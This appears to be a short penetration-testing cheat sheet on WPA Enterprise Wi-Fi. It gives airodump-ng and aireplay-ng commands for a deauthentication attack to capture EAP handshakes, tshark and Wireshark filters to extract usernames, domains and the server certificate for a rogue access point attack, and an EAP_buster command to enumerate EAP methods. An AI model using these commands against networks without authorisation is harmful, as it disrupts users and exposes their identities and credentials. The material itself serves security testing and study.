Wi-Fi WPA Enterprise

• In airodump-ng if the authentication type is MGT it indicated WPA enterprise
• From an EAP handshake information can be extracted:
  • Domain name
  • Username
  • Handshake certificate
• If PMK caching is disabled, an EAP handshake can be captured via a deauthentication attack.

airodump-ng <interface> -c <channel> -w <output pcap file>
aireplay-ng -0 1 -a <BSSID MAC> -c <client mac> <interface>

• Open the PCAP in Wireshark and add a filter for eap.
• Look for packet Response, Identity
  • This will contain the domain and username.
• TShark can be used to extract usernames

tshark -r <pcap file> -Y '(eap && wlan.ra == <BSSID MAC>) && (eap.identity)' -T fields -e eap.identity

• The client and access point might anonymize identities

• To obtain the handshake certificate use the following filter in Wireshark

(wlan.sa == <BSSID MAC>) && (tls.handshake.certificate)

• This script can automatically extract the certificate
  • https://gist.githubusercontent.com/r4ulcl/f3470f097d1cd21dbc5a238883e79fb2/raw/78e097e1d4a9eb5f43ab0b2763195c04f02c4998/pcapFilter.sh
• The certificate details are important for the rogue access point attack

EAPBuster

https://github.com/blackarrowsec/EAP_buster

• This script can be used to list what EAP methods are supported by the RADIUS server
  • The EAP Identity needs to be a real user

./EAP_buster.sh "${EAP_ESSID}" "${EAP_IDENTITY}" "${WIFI_INTERFACE}"